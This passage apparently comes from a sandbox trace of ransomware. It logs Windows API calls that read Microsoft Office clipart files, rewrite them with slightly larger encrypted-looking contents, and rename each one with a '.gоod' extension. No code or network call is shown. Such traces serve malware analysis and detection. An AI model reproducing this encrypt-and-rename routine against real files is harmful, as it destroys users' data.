Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99110c2b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf40)) returned 1 [0263.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0263.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.gоod")) returned 1 [0263.157] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", lpFilePart=0x0) returned 0x44 [0263.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0263.157] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3a4d3c8 | out: lpFileInformation=0x3a4d3c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4)) returned 1 [0263.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0263.158] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", lpFilePart=0x0) returned 0x44 [0263.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0263.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0263.158] GetFileType (hFile=0x85c) returned 0x1 [0263.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0263.158] GetFileType (hFile=0x85c) returned 0x1 [0263.158] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xed4 [0263.158] ReadFile (in: hFile=0x85c, lpBuffer=0x3a4e548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3a4e548*, lpNumberOfBytesRead=0x1faedc88*=0xed4, lpOverlapped=0x0) returned 1 [0265.463] CloseHandle (hObject=0x85c) returned 1 [0265.489] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", lpFilePart=0x0) returned 0x44 [0265.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0265.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0265.491] GetFileType (hFile=0x85c) returned 0x1 [0265.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0265.491] GetFileType (hFile=0x85c) returned 0x1 [0265.491] WriteFile (in: hFile=0x85c, lpBuffer=0x38178a8*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x38178a8*, lpNumberOfBytesWritten=0x1faedb98*=0xee0, lpOverlapped=0x0) returned 1 [0265.491] CloseHandle (hObject=0x85c) returned 1 [0265.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", lpFilePart=0x0) returned 0x44 [0265.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0265.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0265.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a748669, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xee0)) returned 1 [0265.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0265.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.gоod")) returned 1 [0265.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", lpFilePart=0x0) returned 0x44 [0265.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0265.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3818b38 | out: lpFileInformation=0x3818b38*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x984)) returned 1 [0265.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0265.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", lpFilePart=0x0) returned 0x44 [0265.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0265.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0265.495] GetFileType (hFile=0x85c) returned 0x1 [0265.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0265.495] GetFileType (hFile=0x85c) returned 0x1 [0265.495] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x984 [0265.495] ReadFile (in: hFile=0x85c, lpBuffer=0x3819768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3819768*, lpNumberOfBytesRead=0x1faedc88*=0x984, lpOverlapped=0x0) returned 1 [0265.673] CloseHandle (hObject=0x85c) returned 1 [0266.756] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", lpFilePart=0x0) returned 0x44 [0266.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0266.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.757] GetFileType (hFile=0x834) returned 0x1 [0266.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0266.757] GetFileType (hFile=0x834) returned 0x1 [0266.757] WriteFile (in: hFile=0x834, lpBuffer=0x39d88b0*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x39d88b0*, lpNumberOfBytesWritten=0x1faedb98*=0x990, lpOverlapped=0x0) returned 1 [0266.757] CloseHandle (hObject=0x834) returned 1 [0266.757] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", lpFilePart=0x0) returned 0x44 [0266.757] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0266.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0266.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b35a4f1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x990)) returned 1 [0266.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0266.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.gоod")) returned 1 [0266.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", lpFilePart=0x0) returned 0x44 [0266.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0266.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x39d9b40 | out: lpFileInformation=0x39d9b40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaac)) returned 1 [0266.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0266.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", lpFilePart=0x0) returned 0x44 [0266.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0266.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.760] GetFileType (hFile=0x834) returned 0x1 [0266.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0266.760] GetFileType (hFile=0x834) returned 0x1 [0266.760] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xaac [0266.760] ReadFile (in: hFile=0x834, lpBuffer=0x39da898, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x39da898*, lpNumberOfBytesRead=0x1faedc88*=0xaac, lpOverlapped=0x0) returned 1 [0266.761] CloseHandle (hObject=0x834) returned 1 [0267.209] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", lpFilePart=0x0) returned 0x44 [0267.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0267.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0267.210] GetFileType (hFile=0x768) returned 0x1 [0267.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0267.210] GetFileType (hFile=0x768) returned 0x1 [0267.211] WriteFile (in: hFile=0x768, lpBuffer=0x3a5b098*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3a5b098*, lpNumberOfBytesWritten=0x1faedb98*=0xab0, lpOverlapped=0x0) returned 1 [0267.211] CloseHandle (hObject=0x768) returned 1 [0267.211] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", lpFilePart=0x0) returned 0x44 [0267.211] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0267.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0267.211] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b7ac88b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xab0)) returned 1 [0267.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0267.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.gоod")) returned 1 [0267.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", lpFilePart=0x0) returned 0x44 [0267.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0267.213] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3a5c328 | out: lpFileInformation=0x3a5c328*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c08)) returned 1 [0267.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0267.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", lpFilePart=0x0) returned 0x44 [0267.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0267.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0267.214] GetFileType (hFile=0x768) returned 0x1 [0267.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0267.214] GetFileType (hFile=0x768) returned 0x1 [0267.214] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0267.215] ReadFile (in: hFile=0x768, lpBuffer=0x3a5c740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3a5c740*, lpNumberOfBytesRead=0x1faedd28*=0xc08, lpOverlapped=0x0) returned 1 [0267.215] CloseHandle (hObject=0x768) returned 1 [0267.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", lpFilePart=0x0) returned 0x44 [0267.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0267.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0267.215] GetFileType (hFile=0x768) returned 0x1 [0267.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0267.216] GetFileType (hFile=0x768) returned 0x1 [0267.216] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1c08 [0267.216] WriteFile (in: hFile=0x768, lpBuffer=0x3a5d9d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3a5d9d8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0267.216] CloseHandle (hObject=0x768) returned 1 [0267.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", lpFilePart=0x0) returned 0x44 [0267.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0267.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0267.216] GetFileType (hFile=0x768) returned 0x1 [0267.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0267.216] GetFileType (hFile=0x768) returned 0x1 [0267.216] ReadFile (in: hFile=0x768, lpBuffer=0x3a5fc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3a5fc98*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0267.464] CloseHandle (hObject=0x768) returned 1 [0267.464] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", lpFilePart=0x0) returned 0x44 [0267.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0267.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0267.464] GetFileType (hFile=0x768) returned 0x1 [0267.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0267.464] GetFileType (hFile=0x768) returned 0x1 [0267.464] WriteFile (in: hFile=0x768, lpBuffer=0x38b3228*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x38b3228*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0267.465] CloseHandle (hObject=0x768) returned 1 [0267.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", lpFilePart=0x0) returned 0x44 [0267.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0267.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0267.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba34e8d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c18)) returned 1 [0267.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0267.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 